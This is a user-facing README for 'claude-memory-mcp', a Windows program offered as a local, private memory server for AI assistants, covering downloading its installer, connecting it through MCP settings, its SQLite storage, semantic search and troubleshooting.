🧠 claude-memory-mcp - Give your AI persistent local memory

claude-memory-mcp acts as a bridge between your AI assistant and your computer. It creates a private storage space for your conversations and data. You keep full control over your information because everything stays on your machine. This tool uses a database to remember past details so your AI works better over time.

💾 Why use local memory?

Standard AI assistants often forget previous tasks once you close a chat. This tool solves that problem. It records key facts from your interactions into a local file. When you ask a question later, the AI checks this file to find relevant context. You gain a smarter assistant that recalls your preferences and project details.

• Private: Your data never leaves your computer.

• Efficient: It uses semantic search to find information fast.

• Persistent: Your notes stay on your hard drive forever.

• Simple: No complex setup or cloud accounts are needed.

Related MCP server: MCPMem

🛠 Prerequisites

You need a few basic things to run this software on your Windows computer:

1. Windows 10 or Windows 11.

2. At least 100MB of free disk space.

3. A basic understanding of how to open a folder and run a file.

4. Your preferred AI application that supports the Model Context Protocol.

📥 Downloading the software

You need to download the installer from our release page. Visit the link below to find the most recent version of the software.

Download the latest installer here

1. Open the link above in your web browser.

2. Look for the section labeled "Assets".

3. Find the file that ends with .exe for Windows.

4. Click the file name to start the download.

5. Save the file to your "Downloads" folder.

⚙️ Installation steps

Follow these steps to set up the tool on your system:

1. Locate the downloaded file in your "Downloads" folder.

2. Double-click the file to start the installation.

3. Follow the instructions on the screen.

4. Select "Yes" if Windows asks for permission to run the software.

5. The installer completes the setup process automatically.

6. You will see a small icon in your taskbar once the program runs successfully.

🔗 Connecting to your AI

The software requires a connection to your AI program. Most modern AI tools feature a "Settings" or "Configuration" section.

1. Open your AI program.

2. Look for "Model Context Protocol" or "MCP" settings.

3. Click "Add New Server".

4. Enter a name for the connection, such as "My Local Memory".

5. Point the setting to the file path where you installed the claude-memory-mcp software.

6. Save the settings and restart your AI program.

The AI will now show a notification that it connected to your new memory server. It builds an initial index of your data in the background.

📁 How the data works

The application creates a small file called memory.db in your documents folder. This file uses SQLite technology. SQLite is a industry standard that handles data reliably on local computers. You do not need to open or edit this file directly. The AI manages all read and write operations. Because the file lives on your own hard drive, you can move it, back it up, or delete it whenever you choose.

🔍 Understanding semantic search

Semantic search allows the AI to understand the meaning of your words rather than just matching exact phrases. For example, if you mentioned "project planning" in a meeting three weeks ago, you only need to ask the AI about "our project goals." The tool understands the relationship between these terms and retrieves the correct information from your past conversations. This works even if you used different words to describe the same idea.

🛡 Privacy and security

We built this tool with the principle of local-first computing. You do not need an account or an API key for any third-party service. The software collects no information. It sends no data to our servers. Every byte of memory stays on your device. This keeps your personal notes and work files safe from external access.

🔧 Troubleshooting

If the AI fails to connect, verify the following items:

• Check that the installer finished correctly.

• Ensure your AI program is up to date.

• Restart your computer to clear any file locks.

• Verify that your firewall is not blocking the application.

If you encounter persistent issues, check the "Issues" tab on our main repository page to see if others have faced the same situation.

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